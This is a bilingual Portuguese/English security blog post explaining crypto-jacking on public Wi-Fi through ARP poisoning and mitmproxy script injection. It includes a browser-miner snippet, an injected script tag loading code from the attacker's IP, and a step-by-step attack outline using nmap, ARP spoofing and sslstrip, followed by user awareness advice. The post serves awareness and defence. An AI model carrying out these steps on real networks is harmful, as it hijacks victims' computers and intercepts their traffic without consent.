Nestes últimos tempos, minerar criptomoedas com recursos de outros utilizadores tem-se tornado numa forma viável de ganhar dinheiro online, deixando de lado qualquer tipo de consideração ética. Crypto-jacking é o nome atribuído a investidas maliciosas desta natureza e que visam utilizar recursos de terceiros para mining de criptomoedas sem qualquer conhecimento e consentimento da vítima.
Este tipo de empreitada tem deixado os aspirantes a hacker totalmente loucos. E para se conseguir elaborar um esquema destes basta utilizar um pequeno trecho de código em Javascript e “adicioná-lo” a recursos disponíveis online para que depois possa ser executado do lado da vítima. Foram publicados neste blog alguns casos recentes, p.ex:
- Hackers are attacking Portuguese websites with crypto-jacking. Are you safe?
- Crypto-jacking again identified in Monero cryptocurrency
- Attention, chrome extensions are mining cryptocurrency
Hackers are attacking Portuguese websites with crypto-jacking. Are you safe?
Também nesta vertente do crypto-jacking tem existido alguma evolução tecnológica, e ao invés de um simples trecho de código embebido no código fonte de aplicações online, conseguidos muita das vezes por falhas de segurança na camada aplicacional (XSS — Cross-site Scripting Persistente), surge agora uma nova abordagem e que pode ser usada em qualquer tipo de rede de computador, p.ex., numa rede Wi-Fi de um ciberespaço.
Foi descoberto que estes indivíduos estão a usar uma nova abordagem para injetar código e minerar criptomoedas nas páginas web fornecidas numa rede Wi-Fi. Consiste numa técnica de Man-In-The-Middle (MITM) e foi detetada uma ocurrência no Starbucks café, em Buenos Aires, a capital da Argentina.
Crypto-jacking via ARP Poisoning em redes Wi-Fi
Para que este objetivo seja concretizado é necessário recorrer a um envenenamento ARP (ARP Poisoning) para que o computador do atacante (hacker — o bad guy) seja colocado no meio da comunicação entre o router e os computadores dos utilizadores (as vítimas).
Esta empreitada é conseguida porque o atacante envia mensagens do tipo Address Resolution Protocol (ARP) para a rede; ARP spoofed messages; e o seu MAC Address fica identificado como default gateway, i.e., o MAC Address do atacante fica associado ao endereço de IP do router. Quando isto é conseguido, todo o tráfego da rede Wi-Fi destinado a esse endereço de IP é enviado, em antemão, para o atacante (o Man-In-The-Middle).
De mencionar ainda que, antes do ARP Poisoning attack , o atacante tem de configurar um servidor HTTP no seu computador, de forma a servir os seus clientes com um trecho de código para o mining ilícito, p.ex., através de APIs para esse propósito como a CoinHive e ainda a .
<script> var miner = new CRLT.Anonymous('YOUR_SITE_PUBLIC_KEY'); miner.start(); </script>
Depois de posicionado na rede, o atacante pode intercetar, analisar e alterar de forma ativa o tráfego da rede Wi-Fi. Usando, por exemplo, o mitmproxy, ele pode atuar como um Man-In-the-Middle Ativo, e injetar uma linha de código nos pedidos efetuados pelas vítimas. Essa linha de código pode consistir apenas numa chamada de um script em Javascript que chama o trecho de código ilustrado mais acima.
(source-code) ... <script src="man-in-the-middle-IP/crypto-jacking.js"></script> ... (source-code)
Este tipo de ataque funciona autonomamente numa rede Wi-Fi e é de muito fácil execução. Por exemplo:
- O atacante obtém o IP do router e das vítimas fazendo o varrimento da rede ou uma identificação através do nmap;
- Configura o encaminhamento de IP e as tabelas de roteamento;
- Configura o servidor HTTP para servir o script para o mining ilícito;
- Executa o ARP spoof para todas as vítimas; e
- Inicia o mitmproxy e injeta o script no tráfego da rede Wi-Fi.
Para que este esquema seja totalmente funcional, seria também possível incluir o sslstrip, como forma de alterar todo o tipo de tráfego da rede Wi-Fi — pedidos HTTP e HTTPS.
Este laboratório experimental foi testado num ambiente totalmente controlado e funciona sem qualquer tipo de “problema” identificado.
Consciencialização — A palavra de ordem
É necessário apelar por uma maior consciencialização, respetivamente aos assíduos clientes deste tipo de espaços de rede Wi-Fi pública ou Wi-Fi desprotegida. Esta não é uma problemática de todo recente, e consiste num tipo de esquema usado durante largos anos para a obtenção ilegítima de palavras-passe e conteúdo sensível e ainda muito usado nos dias de hoje para fins desta linha.
Aos utilizadores pede-se a devida cautela, uma boa decisão quando se liga a uma rede com este tipo de perfil, e uma atenção redobrada relativa à performance dos CPUs da sua máquina pessoal.
Se o seu computador é um nó ativo neste tipo de esquemas, a capacidade de processamento da máquina poderá estar mais elevada do que o normal. Existem algumas extensões para os web-browsers, como é o caso do UBlock Origin, que bloqueiam e identificam este tipo de investidas maliciosas.
Referências
[1] https://wccftech.com/love-using-free-wifi-starbucks-paying[2] https://crypto-loot.com/documentation
[3] https://coinhive.com
[4] https://mitmproxy.org
[5] https://nmap.org
[6] https://github.com/moxie0/sslstrip
[7] https://chrome.google.com/webstore/detail/ublock-origin
English Version – Introduction
Nowadays, mining cryptocurrency using third-party resources is a viable way to make money online, leaving aside any kind of ethical considerations. Crypto-jacking is the name attributed to malicious attacks and aiming to use third-party resources to mine cryptocurrency without knowledge and consent of the victim.
This type of malicious setups has left aspiring hackers totally insane. In order to elaborate them, hackers are using snippets of Javascript code, and adding them together to online resources so that later it can be executed on client-side. Recent incidents have been published on this blog, e.g:
- Hackers are attacking Portuguese websites with crypto-jacking. Are you safe?
- Crypto-jacking again identified in Monero cryptocurrency
- Attention, chrome extensions are mining cryptocurrency
Hackers are attacking Portuguese websites with crypto-jacking. Are you safe?
Regarding crypto-jacking, there has been some technological evolution and, instead of a simple piece of code embedded in the source code of online applications, often obtained by security vulnerabilities in the application layer (XSS — Persistent Cross-site Scripting), a new approach now emerges and it can be used in any type of computer network, for example, in a cyberspace Wi-Fi network.
It has been found that these malicious guys are using a new approach to inject code and mine cryptocurrency in web pages provided on a Wi-Fi network. It consists of a Man-In-The-Middle (MITM) technique and an occurrence was detected at Starbucks coffee, in Buenos Aires, the capital of Argentina.
Crypto-jacking via ARP Poisoning Attack on Wi-Fi Networks
In order to achieve this goal, it is necessary to use ARP poisoning so that the attacker’s computer (bad guy) is placed in the middle of the communication between the router and the users’ computers (the victims).
This is achieved because the attacker sends Address Resolution Protocol (ARP) messages to the network; ARP spoofed messages; and your MAC Address is identified as the default gateway, i.e., the MAC Address of the attacker is associated with the IP address of the router. When this is performed, all Wi-Fi network traffic destined for this IP address is sent in advance to the attacker (Man-In-The-Middle).
Furthermore, before the ARP Poisoning attack, the attacker must configure an HTTP server on his computer, in order to serve his clients with a piece of code for illegal mining, e.g., through some APIs such as and>.
<script> var miner = new CRLT.Anonymous('YOUR_SITE_PUBLIC_KEY'); miner.start(); </script>
Positioned on the network, the attacker can actively intercept, analyze and change Wi-Fi network traffic. Using, for example, mitmproxy, it can act as an Active Man-In-the-Middle, and inject a line of code in the requests made by the victims. This line of code consists of a Javascript script that calls the code snippet shown above.
(source-code) ... <script src="man-in-the-middle-IP/crypto-jacking.js"></script> ... (source-code)
This type of attack works autonomously on a Wi-Fi network and is very easy to execute it. For example:
- Attacker obtains the IP of the router and victims by scanning the network (e.g., using nmap);
- Configures IP routing and routing tables;
- Configures the HTTP server to serve the script for illegal mining;
- Runs the spoof ARP attack on the network (for all the victims); and
- Starts mitmproxy and injects the script into Wi-Fi network traffic.
For this setup to be fully functional, it would also be possible to include sslstrip as a way to change all types of Wi-Fi network traffic, namely HTTP and HTTPS requests.
This experimental laboratory was tested in a fully controlled environment and works without any identified “problem”.
Awareness – The word of order
Awareness of the users who visit these cyberspaces and unprotected networks is necessary. This is not a recent problem and it represents a type of scheme used for many years to obtain illegitimate passwords and sensitive content and is still widely used today for wild attacks in computer networks.
Users are asked to be cautious, which is a good decision when connecting to a network with this profile, and a careful attention to the performance of the CPUs of your personal machine.
If your computer is an active node in this type of malicious setups, the machine’s processing power may be higher than normal. There are some extensions to web-browsers, such as UBlock Origin, which blocks and identifies this type of malicious attacks.
References
[1] https://wccftech.com/love-using-free-wifi-starbucks-paying[2] https://crypto-loot.com/documentation
[3] https://coinhive.com
[4] https://mitmproxy.org
[5] https://nmap.org
[6] https://github.com/moxie0/sslstrip
[7] https://chrome.google.com/webstore/detail/ublock-origin
Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT and security in Active Directory networks. He is also Freelance Writer (Infosec. Resources Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
Read more here.